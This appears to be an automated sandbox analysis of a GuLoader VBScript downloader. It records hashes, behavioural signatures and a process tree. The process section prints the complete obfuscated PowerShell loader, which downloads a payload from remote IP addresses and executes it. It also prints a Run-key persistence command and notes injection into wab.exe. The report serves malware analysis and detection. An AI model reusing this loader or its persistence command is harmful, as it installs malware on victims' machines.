Analysis
-
max time kernel
121s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
26-06-2024 02:48
Static task
static1
Behavioral task
behavioral1
Sample
028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72.vbs
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72.vbs
Resource
win10v2004-20240226-en
General
-
Target
028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72.vbs
-
Size
186KB
-
MD5
8378482dfb00608563257af10d70c96d
-
SHA1
493b67c86ea9ca8ecb60f0388356ff0b8c1b5f40
-
SHA256
028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72
-
SHA512
b31c395abe57132700c6056de274dbfa92fc105d0e35c73618ec004f0639acbd3411b252374ea4a14a805cb5e4dfd817e7ca7f9096a4931f22a060e7938ec3a7
-
SSDEEP
3072:BmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZz:B08GxbKja3+DCbKCvBB/WnHXC/sLJFJ2
Malware Config
Signatures
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 5 IoCs
Processes:
WScript.exepowershell.exeflow pid process 3 2136 WScript.exe 6 2136 WScript.exe 9 2604 powershell.exe 12 2604 powershell.exe 13 2604 powershell.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Windows\CurrentVersion\Run\Corynebacterium = "%Chorobates% -w 1 $Ledebjlke=(Get-ItemProperty -Path 'HKCU:\\Triennales253\\').Udstraalingen;%Chorobates% ($Ledebjlke)" reg.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
Processes:
wab.exepid process 1204 wab.exe 1204 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 2832 powershell.exe 1204 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 2832 set thread context of 1204 2832 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry key 1 TTPs 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepid process 2604 powershell.exe 2832 powershell.exe 2832 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 2832 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2604 powershell.exe Token: SeDebugPrivilege 2832 powershell.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
WScript.exepowershell.exepowershell.exewab.execmd.exedescription pid process target process PID 2136 wrote to memory of 2604 2136 WScript.exe powershell.exe PID 2136 wrote to memory of 2604 2136 WScript.exe powershell.exe PID 2136 wrote to memory of 2604 2136 WScript.exe powershell.exe PID 2604 wrote to memory of 2624 2604 powershell.exe cmd.exe PID 2604 wrote to memory of 2624 2604 powershell.exe cmd.exe PID 2604 wrote to memory of 2624 2604 powershell.exe cmd.exe PID 2604 wrote to memory of 2832 2604 powershell.exe powershell.exe PID 2604 wrote to memory of 2832 2604 powershell.exe powershell.exe PID 2604 wrote to memory of 2832 2604 powershell.exe powershell.exe PID 2604 wrote to memory of 2832 2604 powershell.exe powershell.exe PID 2832 wrote to memory of 2636 2832 powershell.exe cmd.exe PID 2832 wrote to memory of 2636 2832 powershell.exe cmd.exe PID 2832 wrote to memory of 2636 2832 powershell.exe cmd.exe PID 2832 wrote to memory of 2636 2832 powershell.exe cmd.exe PID 2832 wrote to memory of 1204 2832 powershell.exe wab.exe PID 2832 wrote to memory of 1204 2832 powershell.exe wab.exe PID 2832 wrote to memory of 1204 2832 powershell.exe wab.exe PID 2832 wrote to memory of 1204 2832 powershell.exe wab.exe PID 2832 wrote to memory of 1204 2832 powershell.exe wab.exe PID 2832 wrote to memory of 1204 2832 powershell.exe wab.exe PID 1204 wrote to memory of 1748 1204 wab.exe cmd.exe PID 1204 wrote to memory of 1748 1204 wab.exe cmd.exe PID 1204 wrote to memory of 1748 1204 wab.exe cmd.exe PID 1204 wrote to memory of 1748 1204 wab.exe cmd.exe PID 1748 wrote to memory of 1744 1748 cmd.exe reg.exe PID 1748 wrote to memory of 1744 1748 cmd.exe reg.exe PID 1748 wrote to memory of 1744 1748 cmd.exe reg.exe PID 1748 wrote to memory of 1744 1748 cmd.exe reg.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\028a85e18dd99a848c0effc35a2dfca733965b21ee7f493774f2b942a1be1c72.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Hardness Outbuzz Trinflgerne Forbindelsesofficers Befordringsmidlets Riposterende Ggegule Ansvarsfulderes Sindsoprrtes Cledge Parkeringslygters Tangsnarre Subgranularity Prjudicere Kompasser Communicatory Preadapt Narvside Unexceptionality Lovkataloger Hydrografer Lsehoveds Preshrink Dramaturgist';$Friturekogerens = 1;Function Fradmmtes($Ankles){$Pantstningerne=$Ankles.Length-$Friturekogerens;$Afskning='SUBSTRIN';$Afskning+='G';For( $Svrhedsgrads=1;$Svrhedsgrads -lt $Pantstningerne;$Svrhedsgrads+=2){$Hardness+=$Ankles.$Afskning.Invoke( $Svrhedsgrads, $Friturekogerens);}$Hardness;}function Dactyliographer($Sinuates){ & ($Bortfrsler) ($Sinuates);}$Pseudoinspirational=Fradmmtes 'PMFo zAi l,lGa /F5D.I0. ,( W iRn dDoCw s N,TC 1 0,.P0P;G WGibnA6,4 ;S x,6L4P;U GrUvK: 1 2 1F. 0,) GCeTc kBoF/ 2 0,1s0.0I1 0.1, HF.i rLeOf,o x /,1 2 1..E0H ';$Unbaptizes=Fradmmtes 'MU sHeWr,-LASg e.n t. ';$Befordringsmidlets=Fradmmtes 'Hh t.t pB:K/ / 1O9P4,.P5.9 .F3,1 . 1C3 7K/IWVa,tGtmeBs,t..Fp f bT>,hBt tAp : /p/,9 4 .I1 5R6H.,8,.S8C8 / Wca.t.tMeFs t ..pAfwbc ';$Multiferous=Fradmmtes 'B>r ';$Bortfrsler=Fradmmtes 'HiMe xJ ';$Alanyl='Ansvarsfulderes';$faraoens = Fradmmtes ',eFc h oA %Sahp pBdLaLtRaE%G\ T.v,a.nSgDs a rTbTe,jCdDeT.FAVf vB &K& geKc,h.oI KtS ';Dactyliographer (Fradmmtes 'H$Sg l oGbPaRl :CC yRc l.oRgArBa pPhC=E(FcMmHdS M/ c. G$RfCa,rUa oSernUsH)a ');Dactyliographer (Fradmmtes ' $,gSlRoOb aVlI:NF.oPrJbHi n dMeAl sAe s oCf f iUc eBr sR=E$ B eVfIoSrHdPr.iPnIg,sSmAi.dKl e.tHs..SsSp lui.t (.$FM,u l t iNf e rPo uSsI) ');Dactyliographer (Fradmmtes ' [ N.eTtV.,S.eGrSvSi c,eCPDoGi.n.tTM.a.nBaAg e,r.]i:C: S,e cTuIr,i,t.y PSr.o,t.ofcJoSlw = .[oN eAtM.FSSeMcVuTrsiMt.yTPArAoFt o c o,lRToy p eT]A:P: TGl sS1T2S ');$Befordringsmidlets=$Forbindelsesofficers[0];$Suevi= (Fradmmtes ',$TgClSo bNa.l : gJo uBrOdFhre.aOd =UN e,w -,O bcjWe,c,t, iSPy sStAeSm..TNAe,t..RWAe bJC.l.iCeRnUt');$Suevi+=$Cyclograph[1];Dactyliographer ($Suevi);Dactyliographer (Fradmmtes 'G$AgHo uCrDd hEe aSdV.PH ePa d,e,rEsH[.$NUTn b aPptt,iPzHeKs ]G=U$FPSs ebuEdUo,i,nJs pTiZrAaot i.oKnLaDlH ');$Cicisbeo=Fradmmtes 'k$Kg.o.u rDd h e.aGd ..Dso w,nslOoFaFdPF i.lbeI(R$ BGe f,o rod r.i.nMg s mFi.dSl.e tSsS,R$ L s,e h o.v e d sC) ';$Lsehoveds=$Cyclograph[0];Dactyliographer (Fradmmtes 'C$ g lGo b aTl.:.V iKlml a eAn s,=T(iT eEsHtS- Pma tNhC $.LFsLe,hWoBvRe dLs ), ');while (!$Villaens) {Dactyliographer (Fradmmtes 'p$Fg l,o bMa lA:SS dUsBu pApFeSr sA=.$ht.r,uDen ') ;Dactyliographer $Cicisbeo;Dactyliographer (Fradmmtes '.SAt aPr tM-.S lKe e,p R4R ');Dactyliographer (Fradmmtes 'F$,g.lVoSbPaDl,: VPi l lRa e.n so=n( T e,sWtF-.P.aTtGh, .$ L s e h oavSeTd,sD)S ') ;Dactyliographer (Fradmmtes 'B$ gTl oOb a l.:BT r i.n f l g e rSnseN= $ gSl oBb aFlU:TOauRt b,uFz.zT+.+ % $.F oDrGb,iHnSd e.l s eBscoAfFf i cSerrFs,.ScTo,u,n tB ') ;$Befordringsmidlets=$Forbindelsesofficers[$Trinflgerne];}$Albumen=332897;$Gerontal=26524;Dactyliographer (Fradmmtes ' $Og lPopbTa l :ISMiBn d.s oSpSr rKt.eAsK N=, TG.eEtM-MC o.nRtDeEnCt A$SLUsDe.h oSvAe d sC ');Dactyliographer (Fradmmtes '.$ gOlAoSbSa l.: n y.hva vMn. ,=P F[SSDyIsftTeCmR.,COo.n,vVe r.t ]P:S:.FSr.o,m B aUs eP6 4RS tOr i nfg.(E$ S iHnfdSs o.p rtr,tDe s.)H ');Dactyliographer (Fradmmtes 'S$AgMl.o bHaIl,:ST,a.n gIsBn,a r,r.eG =A ,[lS y.sDtPe m,. T ePx t .sE.nRc o,dRi.n gs].:G:AASS,C IRIr.SG.e tES tGr,iEnEgS(.$ nSy,hCa vPnD) ');Dactyliographer (Fradmmtes ' $ gSl o bCa,lG:PFTeFsCtNmRisd d a g eRn.e s =.$ TOa nOgms n,aMrSrVeC.RsSuBb.sTtOr i n.gf(i$ ABlDb u m e,n , $ GHeprNo nEtFaIl.)N ');Dactyliographer $Festmiddagenes;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tvangsarbejde.Afv && echo t"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Hardness Outbuzz Trinflgerne Forbindelsesofficers Befordringsmidlets Riposterende Ggegule Ansvarsfulderes Sindsoprrtes Cledge Parkeringslygters Tangsnarre Subgranularity Prjudicere Kompasser Communicatory Preadapt Narvside Unexceptionality Lovkataloger Hydrografer Lsehoveds Preshrink Dramaturgist';$Friturekogerens = 1;Function Fradmmtes($Ankles){$Pantstningerne=$Ankles.Length-$Friturekogerens;$Afskning='SUBSTRIN';$Afskning+='G';For( $Svrhedsgrads=1;$Svrhedsgrads -lt $Pantstningerne;$Svrhedsgrads+=2){$Hardness+=$Ankles.$Afskning.Invoke( $Svrhedsgrads, $Friturekogerens);}$Hardness;}function Dactyliographer($Sinuates){ & ($Bortfrsler) ($Sinuates);}$Pseudoinspirational=Fradmmtes 'PMFo zAi l,lGa /F5D.I0. ,( W iRn dDoCw s N,TC 1 0,.P0P;G WGibnA6,4 ;S x,6L4P;U GrUvK: 1 2 1F. 0,) GCeTc kBoF/ 2 0,1s0.0I1 0.1, HF.i rLeOf,o x /,1 2 1..E0H ';$Unbaptizes=Fradmmtes 'MU sHeWr,-LASg e.n t. ';$Befordringsmidlets=Fradmmtes 'Hh t.t pB:K/ / 1O9P4,.P5.9 .F3,1 . 1C3 7K/IWVa,tGtmeBs,t..Fp f bT>,hBt tAp : /p/,9 4 .I1 5R6H.,8,.S8C8 / Wca.t.tMeFs t ..pAfwbc ';$Multiferous=Fradmmtes 'B>r ';$Bortfrsler=Fradmmtes 'HiMe xJ ';$Alanyl='Ansvarsfulderes';$faraoens = Fradmmtes ',eFc h oA %Sahp pBdLaLtRaE%G\ T.v,a.nSgDs a rTbTe,jCdDeT.FAVf vB &K& geKc,h.oI KtS ';Dactyliographer (Fradmmtes 'H$Sg l oGbPaRl :CC yRc l.oRgArBa pPhC=E(FcMmHdS M/ c. G$RfCa,rUa oSernUsH)a ');Dactyliographer (Fradmmtes ' $,gSlRoOb aVlI:NF.oPrJbHi n dMeAl sAe s oCf f iUc eBr sR=E$ B eVfIoSrHdPr.iPnIg,sSmAi.dKl e.tHs..SsSp lui.t (.$FM,u l t iNf e rPo uSsI) ');Dactyliographer (Fradmmtes ' [ N.eTtV.,S.eGrSvSi c,eCPDoGi.n.tTM.a.nBaAg e,r.]i:C: S,e cTuIr,i,t.y PSr.o,t.ofcJoSlw = .[oN eAtM.FSSeMcVuTrsiMt.yTPArAoFt o c o,lRToy p eT]A:P: TGl sS1T2S ');$Befordringsmidlets=$Forbindelsesofficers[0];$Suevi= (Fradmmtes ',$TgClSo bNa.l : gJo uBrOdFhre.aOd =UN e,w -,O bcjWe,c,t, iSPy sStAeSm..TNAe,t..RWAe bJC.l.iCeRnUt');$Suevi+=$Cyclograph[1];Dactyliographer ($Suevi);Dactyliographer (Fradmmtes 'G$AgHo uCrDd hEe aSdV.PH ePa d,e,rEsH[.$NUTn b aPptt,iPzHeKs ]G=U$FPSs ebuEdUo,i,nJs pTiZrAaot i.oKnLaDlH ');$Cicisbeo=Fradmmtes 'k$Kg.o.u rDd h e.aGd ..Dso w,nslOoFaFdPF i.lbeI(R$ BGe f,o rod r.i.nMg s mFi.dSl.e tSsS,R$ L s,e h o.v e d sC) ';$Lsehoveds=$Cyclograph[0];Dactyliographer (Fradmmtes 'C$ g lGo b aTl.:.V iKlml a eAn s,=T(iT eEsHtS- Pma tNhC $.LFsLe,hWoBvRe dLs ), ');while (!$Villaens) {Dactyliographer (Fradmmtes 'p$Fg l,o bMa lA:SS dUsBu pApFeSr sA=.$ht.r,uDen ') ;Dactyliographer $Cicisbeo;Dactyliographer (Fradmmtes '.SAt aPr tM-.S lKe e,p R4R ');Dactyliographer (Fradmmtes 'F$,g.lVoSbPaDl,: VPi l lRa e.n so=n( T e,sWtF-.P.aTtGh, .$ L s e h oavSeTd,sD)S ') ;Dactyliographer (Fradmmtes 'B$ gTl oOb a l.:BT r i.n f l g e rSnseN= $ gSl oBb aFlU:TOauRt b,uFz.zT+.+ % $.F oDrGb,iHnSd e.l s eBscoAfFf i cSerrFs,.ScTo,u,n tB ') ;$Befordringsmidlets=$Forbindelsesofficers[$Trinflgerne];}$Albumen=332897;$Gerontal=26524;Dactyliographer (Fradmmtes ' $Og lPopbTa l :ISMiBn d.s oSpSr rKt.eAsK N=, TG.eEtM-MC o.nRtDeEnCt A$SLUsDe.h oSvAe d sC ');Dactyliographer (Fradmmtes '.$ gOlAoSbSa l.: n y.hva vMn. ,=P F[SSDyIsftTeCmR.,COo.n,vVe r.t ]P:S:.FSr.o,m B aUs eP6 4RS tOr i nfg.(E$ S iHnfdSs o.p rtr,tDe s.)H ');Dactyliographer (Fradmmtes 'S$AgMl.o bHaIl,:ST,a.n gIsBn,a r,r.eG =A ,[lS y.sDtPe m,. T ePx t .sE.nRc o,dRi.n gs].:G:AASS,C IRIr.SG.e tES tGr,iEnEgS(.$ nSy,hCa vPnD) ');Dactyliographer (Fradmmtes ' $ gSl o bCa,lG:PFTeFsCtNmRisd d a g eRn.e s =.$ TOa nOgms n,aMrSrVeC.RsSuBb.sTtOr i n.gf(i$ ABlDb u m e,n , $ GHeprNo nEtFaIl.)N ');Dactyliographer $Festmiddagenes;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Tvangsarbejde.Afv && echo t"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Corynebacterium" /t REG_EXPAND_SZ /d "%Chorobates% -w 1 $Ledebjlke=(Get-ItemProperty -Path 'HKCU:\Triennales253\').Udstraalingen;%Chorobates% ($Ledebjlke)"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Corynebacterium" /t REG_EXPAND_SZ /d "%Chorobates% -w 1 $Ledebjlke=(Get-ItemProperty -Path 'HKCU:\Triennales253\').Udstraalingen;%Chorobates% ($Ledebjlke)"6⤵
- Adds Run key to start application
- Modifies registry key
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DOXHJNMKGUOB9CSCAI4H.tempFilesize
7KB
MD5f4db69435280ae880e9a1b4715021a28
SHA1ddd7b1d4bbe0cce4ea841f4abb15ff6e5c7c67bb
SHA256baff366db8618705c8581e759f45471a98d009e14f358d4ccb03c03317f89292
SHA5126ad67de0a4d7d43a07aff32b6f6ffab65752e134f465b96a222c7dd698d6fc9d858343b5ab7e0b04020c45d6cf3e7ab158f869a6ba93b1eca78aafbc2ccc2d07
-
C:\Users\Admin\AppData\Roaming\Tvangsarbejde.AfvFilesize
467KB
MD5ebc603f013333acdb9edeeec3419d49d
SHA1d2ae4118a93874422ffa464dc225e7da16483a91
SHA256d56548cb4c363a5243f55e8602b2f45050cdcc89fae1dbe79f38488a4cac509b
SHA512ec13e53881778cda945c180452d8ab49b90068f136462b3c0e31789dc9306b178e4ade472f5ebcadbc420405773a0a303bb92bec16b666114c2e5b21e94967d1
-
memory/1204-36-0x0000000001780000-0x000000000643E000-memory.dmpFilesize
76.7MB
-
memory/1204-34-0x0000000000710000-0x0000000001772000-memory.dmpFilesize
16.4MB
-
memory/2604-24-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2604-21-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2604-22-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2604-23-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2604-16-0x000007FEF629E000-0x000007FEF629F000-memory.dmpFilesize
4KB
-
memory/2604-25-0x000007FEF629E000-0x000007FEF629F000-memory.dmpFilesize
4KB
-
memory/2604-17-0x000000001B680000-0x000000001B962000-memory.dmpFilesize
2.9MB
-
memory/2604-18-0x00000000027E0000-0x00000000027E8000-memory.dmpFilesize
32KB
-
memory/2604-20-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2604-39-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2604-19-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmpFilesize
9.6MB
-
memory/2832-32-0x0000000006790000-0x000000000B44E000-memory.dmpFilesize
76.7MB